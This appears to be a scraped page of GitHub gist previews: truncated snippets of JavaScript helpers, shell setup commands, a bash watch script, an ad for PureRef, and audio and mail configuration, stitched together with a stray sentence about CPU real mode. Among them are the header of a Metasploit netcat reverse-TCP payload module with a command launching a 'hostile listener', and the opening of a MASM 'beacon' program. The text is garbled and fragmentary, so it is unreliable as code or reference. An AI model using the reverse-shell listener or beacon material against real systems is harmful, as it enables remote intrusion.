These determine the assumed/default size of instruction operands, and restricts which opcodes are available, and how they are used.
Modern operating systems, booted inside Real
mode,
const path = require('path'); | |
function trace(s) { | |
const orig = Error.prepareStackTrace; | |
Error.prepareStackTrace = (_, stack) => stack; | |
const err = new Error(); | |
Error.captureStackTrace(err, arguments.callee); | |
Error.prepareStackTrace = orig; | |
const callee = err.stack[0]; | |
process.stdout.write(`${path.relative(process.cwd(), callee.getFileName())}:${callee.getLineNumber()}: ${s}\n`); |
const promiseBatch = async function* (concurrency, list, fn) { | |
for (let p = [], i = 0, l = list.length; i < l || p.length > 0;) { | |
if (i < l) { | |
let _p; | |
_p = fn(list[i]).then(r => [_p.__id, r]); | |
_p.__id = i++; | |
if (p.push(_p) < concurrency) { | |
continue; | |
} | |
} |
sudo apt-get install unzip; | |
wget -O /tmp/chromedriver.zip http://chromedriver.googlecode.com/files/chromedriver_linux64_19.0.1068.0.zip && sudo unzip /tmp/chromedriver.zip chromedriver -d /usr/local/bin/; |
#!/usr/bin/env bash | |
# script: watch | |
# author: Mike Smullin <mike@smullindesign.com> | |
# license: GPLv3 | |
# description: | |
# watches the given path for changes | |
# and executes a given command when changes occur | |
# usage: | |
# watch <path> <cmd...> | |
# |
It's good software.
All your reference images in one place. Organize your inspiration and speed up your creative process with PureRef.
## | |
# This module requires Metasploit: https://metasploit.com/download | |
# Current source: https://github.com/rapid7/metasploit-framework | |
## | |
# /usr/share/metasploit-framework/modules/payloads/singles/generic/nc_reverse_tcp.rb | |
# usage: | |
# # launch hostile listener | |
# $ sudo nc -vlp 80 -ns 192.168.119.198 |
# setup msmtp for sending out email | |
# as an alternative to sendmail | |
# i prefer this because it is easier to install and configure than sendmail | |
# especially when using Gmail smtp servers | |
sudo -i | |
apt-get install msmtp | |
ln -s /usr/bin/msmtp /usr/sbin/sendmail | |
touch /var/log/msmtprc && chmod 666 /var/log/msmtprc | |
vim /etc/msmtprc | |
# config options: http://msmtp.sourceforge.net/doc/msmtp.html#A-user-configuration-file |
; compile with MASM32 | |
; C:\masm32\bin\ml /c /Zd /coff beacon.asm | |
; C:\masm32\bin\Link /SUBSYSTEM:WINDOWS beacon.obj | |
; beacon.exe | |
; | |
.386 | |
.model flat, stdcall | |
option casemap :none | |
include C:\masm32\include\windows.inc | |
include C:\masm32\include\kernel32.inc |
#!/bin/bash | |
# see original thread discussion: | |
# http://ubuntuforums.org/showthread.php?t=1370383 | |
declare -i sinks=(`pacmd list-sinks | sed -n -e 's/\**[[:space:]]index:[[:space:]]\([[:digit:]]\)/\1/p'`) | |
declare -i sinks_count=${#sinks[*]} | |
declare -i active_sink_index=`pacmd list-sinks | sed -n -e 's/\*[[:space:]]index:[[:space:]]\([[:digit:]]\)/\1/p'` | |
declare -i next_sink_index=${sinks[0]} |